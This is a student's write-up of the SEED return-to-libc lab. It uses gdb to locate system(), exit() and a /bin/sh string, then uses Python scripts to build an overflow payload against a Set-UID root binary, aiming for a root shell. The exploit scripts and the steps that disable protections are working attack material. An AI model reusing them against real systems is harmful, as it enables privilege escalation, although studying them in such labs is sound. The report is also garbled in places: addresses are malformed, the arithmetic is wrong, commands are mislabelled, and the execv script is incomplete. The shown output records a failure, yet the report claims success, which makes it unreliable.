

CS 428: Lab 2 Report

Sonny Ngo, CS 428, smngo@crimson.ua.edu

Abstract—Using the retlib program, I investigate and put into practice a number of return-to-libc attacks that alter memory, issue commands, and increase privileges. Each of the four tasks in the lab focuses on a distinct facet of the attack. First, I debug the Set-UID retlib program using the GNU Debugger (GDB) to determine the memory locations of the libc functions system() and exit(). I then use environment variables to load the shell text (/bin/sh) into memory and determine its address to send to system(). Next, I use Python to automate the process by creating a malicious input file (badfile) with the required memory addresses and function calls. Even with /bin/sh connected to a shell, I get around shell countermeasures in the last job by using execv() to escalate privileges and obtain a root shell.

I. INTRODUCTION/LAB DEFINITION

In order to manipulate memory, invoke arbitrary functions, and escalate privileges, this lab focuses on investigating and carrying out return-to-libc attacks using the retlib tool. The main goals are to comprehend how to take advantage of Set-UID program vulnerabilities in order to obtain elevated privileges and carry out instructions, including shelling out. Finding the memory locations for the libc methods system() and exit(), loading a shell string into memory, creating a malicious input file (badfile) with the correct addresses and function calls, and getting around security measures to increase privileges are some of the main tasks. To guarantee successful attack execution, debugging and automation technologies such as GDB and Python are utilized throughout the experiment. This lab offers practical experience with privilege escalation and low-level memory manipulation techniques, which are essential for comprehending security flaws in contemporary systems.

LAB SETUP WITH SCREENSHOTS/EXPLANATIONS

A. Task 1: Finding out the Addresses of libc Functions

To facilitate the attack, I disabled key security features.

```
[03/11/25]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/11/25]seed@VM:~/.../Labsetup$ gcc -m32 -DBFU_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
[03/11/25]seed@VM:~/.../Labsetup$ sudo chown root retlib
[03/11/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 retlib
```

To successfully exploit the buffer overflow, I first needed to determine the memory addresses of system() and exit() within libc. I created an empty badfile.

```
[03/11/25]seed@VM:~/.../Labsetup$ touch badfile
[03/11/25]seed@VM:~/.../Labsetup$ adb -n retlib
```

I then launched gdb to analyze retlib in the “Labsetup” folder, set a breakpoint to execute the program, and retrieved function addresses.

```
gdb-peda$ break main
Breakpoint 1 at 0x12ef: file retlib.c, line 33.
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/retlib
[-----registers-----]
EAX: 0xf7fb4088 --> 0xffffd25c --> 0xffffd424 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0xa219df2e
EDX: 0xffffd1e4 --> 0x0
ESI: 0xf7fb2000 --> 0x1e8d6c
EDI: 0xf7fb2000 --> 0x1e8d6c
EBP: 0x0
ESP: 0xffffd1bc --> 0xf7de3ed5 (<__libc_start_main+245>: add esp,0x10)
EIP: 0x565562ef (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x565562ea <foo+58>: mov     ebx,DWORD PTR [ebp-0x4]
0x565562ed <foo+61>: leave
0x565562ee <foo+62>: ret
=> 0x565562ef <main>: endbr32
0x565562f3 <main+4>: lea     ecx,[esp+0x4]
0x565562f7 <main+8>: and     esp,0xffffffff
0x565562fa <main+11>: push   DWORD PTR [ecx-0x4]
0x565562fd <main+14>: push   ebp
[-----stack-----]
0000 0xffffd1bc --> 0xf7de3ed5 (<__libc_start_main+245>: add esp,0x10)
0004 0xffffd1c0 --> 0x1
0008 0xffffd1c4 --> 0xffffd254 --> 0xffffd401 ("/home/seed/Desktop/Labsetup/retlib")
0012 0xffffd1c8 --> 0xffffd25c --> 0xffffd424 ("SHELL=/bin/bash")
0016 0xffffd1cc --> 0xffffd1e4 --> 0x0
0020 0xffffd1d0 --> 0xf7fb2000 --> 0x1e8d6c
0024 0xffffd1d4 --> 0xf7fd0000 --> 0x2bf24
0028 0xffffd1d8 --> 0xffffd238 --> 0xffffd401 ("/home/seed/Desktop/Labsetup/retlib")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0xffffd254) at retlib.c:33
33 {
gdb-peda$ p system
$1 = {text variable, no debug info} 0xf7e0a360 <system>
gdb-peda$ p exit
$2 = {text variable, no debug info} 0xf7dfcec0 <exit>
```

B. Task 2: Putting the shell string in the memory

To ensure that the /bin/sh string was stored in memory at a known address, I defined an environment variable.

```
[03/11/25]seed@VM:~/.../Labsetup$ export MY_SHELL=/bin/sh
```

I then verified that it was stored in the memory with the expected output “MY_SHELL=/bin/sh.”

```
[03/11/25]seed@VM:~/.../Labsetup$ env | grep MY_SHELL
MY_SHELL=/bin/sh
```

```
[03/11/25]seed@VM:~/.../Labsetup$ MY_SHELL=/bin/sh
```

Since the attack requires knowing the memory address of /bin/sh, I created a C file and copied the code from the lab instructions.

```

retlib.c
1#include <stdio.h>
2#include <stdlib.h>
3
4int main() {
5    char* shell = getenv("MY_SHELL");
6    if (shell) {
7        printf("%x\n", (unsigned int)shell);
8    }
9    return 0;
10}

```

I then compiled the program for a 32-bit environment, executed it using “./prtenv,” and got the output “0xffffd45e.” This confirmed that /bin/sh was located at that address.

```

[03/11/25]seed@VM:~/.../Labsetup$ gcc -m32 -o prtenv prtenv.c
[03/11/25]seed@VM:~/.../Labsetup$ ./prtenv
ffffd45e

```

C. Task 3: Launching the Attack

To execute the attack, I modified the skeleton Python script to construct a malicious badfile with the correct memory addresses.

```

1#!/usr/bin/env python3
2import sys
3
4# Fill content with non-zero values
5content = bytearray(0xaa for i in range(300))
6
7X = 24 + 12
8sh_addr = 0xffffd475 # The address of "/bin/sh"
9content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
10
11Y = 24 + 4
12system_addr = 0xf7e0a360 # The address of system()
13content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
14
15Z = 24 + 8
16exit_addr = 0xf7dfcec0 # The address of exit()
17content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
18
19# Save content to a file
20with open("badfile", "wb") as f:
21    f.write(content)

```

I entered into gdb mode to find the addresses for the system, exit, and “/bin/sh”.

```

Breakpoint 1, main (argc=0x1, argv=0xffffd244) at retlib.c:33
33 {
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e0a360 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7dfcec0 <exit>
gdb-peda$ print (char *) getenv("MY_SHELL")
$3 = 0xffffd475 "/bin/sh"

```

When running ./retlib, I subtracted address of the buffer, “ffffdc0”, from the frame pointer value, “ffffcd8”, using an online hex calculator. The difference yielded 18 as the hex, and 24 as the decimal value.

```

[03/12/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcdf0
Input size: 300
Address of buffer[] inside bof(): 0xffffcdc0
Frame Pointer value inside bof(): 0xffffcd8

```

Hex Calculator

Hexadecimal Calculation—Add, Subtract, Multiply, or Divide

Result

Hex value:
ffffcd8 – fffffc0 = 18

Decimal value:
4294954456 – 4294954432 = 24

This is how I ended up calculating the values for x, y, and z. I successfully constructed and executed a return-to-libc attack by crafting a malicious input file that redirected execution to system(). Using gdb, I identified memory addresses and stack layouts, which were critical for payload construction. If segmentation faults occurred, I used debugging techniques to refine my exploit.

```

[03/12/25]seed@VM:~/.../Labsetup$ python3 exploit.py
[03/12/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcdf0
Input size: 300
Address of buffer[] inside bof(): 0xffffcdc0
Frame Pointer value inside bof(): 0xffffcd8
zsh:1: no such file or directory: =local/VM:/tmp/.ICE-unix/1978,unix/VM:/tmp/.ICE-unix/1978
[03/12/25]seed@VM:~/.../Labsetup$ ll
total 60
-rw-rw-r-- 1 seed seed 300 Mar 12 00:31 badfile
-rwxrwxr-x 1 seed seed 570 Mar 12 00:31 exploit.py
-rw-rw-r-- 1 seed seed 216 Dec 27 2020 Makefile
-rw-rw-r-- 1 seed seed 11 Mar 12 00:23 peda-session-retlib.txt
-rwxrwxr-x 1 seed seed 15588 Mar 11 18:05 prtenv
-rw-rw-r-- 1 seed seed 174 Mar 11 18:05 prtenv.c
-rwxrwxr-x 1 seed seed 18548 Mar 11 17:19 retlib
-rw-rw-r-- 1 seed seed 994 Dec 28 2020 retlib.c
[03/12/25]seed@VM:~/.../Labsetup$ ./exploit.py
[03/12/25]seed@VM:~/.../Labsetup$ ll
total 60
-rw-rw-r-- 1 seed seed 300 Mar 12 00:31 badfile
-rwxrwxr-x 1 seed seed 570 Mar 12 00:31 exploit.py
-rw-rw-r-- 1 seed seed 216 Dec 27 2020 Makefile
-rw-rw-r-- 1 seed seed 11 Mar 12 00:23 peda-session-retlib.txt
-rwxrwxr-x 1 seed seed 15588 Mar 11 18:05 prtenv
-rw-rw-r-- 1 seed seed 174 Mar 11 18:05 prtenv.c
-rwxrwxr-x 1 seed seed 18548 Mar 11 17:19 retlib
-rw-rw-r-- 1 seed seed 994 Dec 28 2020 retlib.c

```

D. Task 4: Defeat Shell’s countermeasure

In previous tasks, I successfully exploited a buffer overflow vulnerability to execute system(“/bin/sh”). However, in Ubuntu 20.04, /bin/sh is linked to dash, which automatically drops root privileges in Set-UID processes. This prevents attackers from obtaining a root shell.

Before launching the attack, I restored the default /bin/sh symlink to dash to reactivate the security countermeasure:

```

[03/12/25]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh
[03/12/25]seed@VM:~/.../Labsetup$ ls -l /bin/sh
lrwxrwxrwx 1 root root 9 Mar 12 00:46 /bin/sh -> /bin/dash

```

Since execv() requires an argument array, I needed to find the memory addresses of /bin/bash and “-p”. These were stored in environment variables: I tried various values for the offset, which is the point where the return address should be inserted. This allowed me to explore how the buffer overflow and return address would behave with different configurations.

```

[03/12/25]seed@VM:~/.../Labsetup$ export MY_SHELL=/bin/bash
[03/12/25]seed@VM:~/.../Labsetup$ export MYFLAG=-p
[03/12/25]seed@VM:~/.../Labsetup$ env | grep MY_SHELL
MY_SHELL=/bin/bash
[03/12/25]seed@VM:~/.../Labsetup$ env | grep MYFLAG
MYFLAG=-p
[03/12/25]seed@VM:~/.../Labsetup$

```

To retrieve their addresses, I created `getenv_execv.c`:

```
1#include <stdio.h>
2#include <stdlib.h>
3
4int main() {
5    char* shell = getenv("MYSHELL");
6    char* flag = getenv("MYFLAG");
7    if (shell && flag) {
8        printf("MYSHELL: %x\n", (unsigned int)shell);
9        printf("MYFLAG: %x\n", (unsigned int)flag);
10    }
11    return 0;
12}
```

I then compiled and executed:

```
[03/12/25]seed@VM:~/.../Labsetup$ gcc -m32 -o getenv_execv getenv_execv.c
[03/12/25]seed@VM:~/.../Labsetup$ ./getenv_execv
MYSHELL: fffffd46
MYFLAG: fffffde7e
```

I then updated `exploit_execv.py` script I created:

```
1#!/usr/bin/env python3
2import sys
3
4# Fill content with non-zero values
5content = bytearray(0xaa for i in range(300))
6
7buffer = 0xffffcd0
8arr = 44
9
10X = 24 + 12
11sh_addr = 0xffffd475 # The address of "/bin/sh"
12content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')
13
14Y = 24 + 4
15system_addr = 0xf7e0a360 # The address of system()
16content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')
17
18Z = 24 + 8
19exit_addr = 0xf7dfcec0 # The address of exit()
20content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')
21
22content[arr:arr + 8] = bytearray(b'/bin/sh\x00')
23content[arr + 8: arr + 12] = bytearray(b'\x00\x00\x00')
24content[arr + 16: arr + 20] = (buffer + arr).to_bytes(4, byteorder='little')
25content[arr + 20: arr + 24] = (buffer + arr + 8).to_bytes(4, byteorder='little')
26content[arr + 24: arr + 28] = bytearray(b'\x00' * 4)
27
28content[X + 4: X + 8] = (buffer + arr + 16).to_bytes(4, byteorder='little')
29
30# Save content to a file
```

After generating badfile, I executed the attack:

```
[03/12/25]seed@VM:~/.../Labsetup$ python3 exploit_execv.py
[03/12/25]seed@VM:~/.../Labsetup$ ./exploit_execv.py
bash: ./exploit_execv.py: Permission denied
```

```
[03/12/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcdce0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd0b0
Frame Pointer value inside bof(): 0xffffcd0c8
```

II. CONCLUSION

All in all, this lab provided a comprehensive hands-on experience with return-to-libc attacks, demonstrating the critical process of manipulating memory to invoke arbitrary functions and escalate privileges. By analyzing and locating memory addresses for libc functions such as `system()` and `exit()`, loading a shell string, and crafting a malicious input file, the lab highlighted key techniques for exploiting vulnerabilities in Set-UID programs. Additionally, bypassing countermeasures and leveraging functions like `execv()` to escalate privileges reinforced the importance of understanding low-level security flaws. This exercise deepened my

understanding of memory manipulation and privilege escalation, which are essential skills for identifying and mitigating security vulnerabilities in modern systems.

REFERENCES

- [1] X. Yang, "CS 428/528/442/542 Lab requirements."
- [2] "SEED Project," seedsecuritylabs.org.
https://seedsecuritylabs.org/Labs_20.04/Software/Return_to_Libc/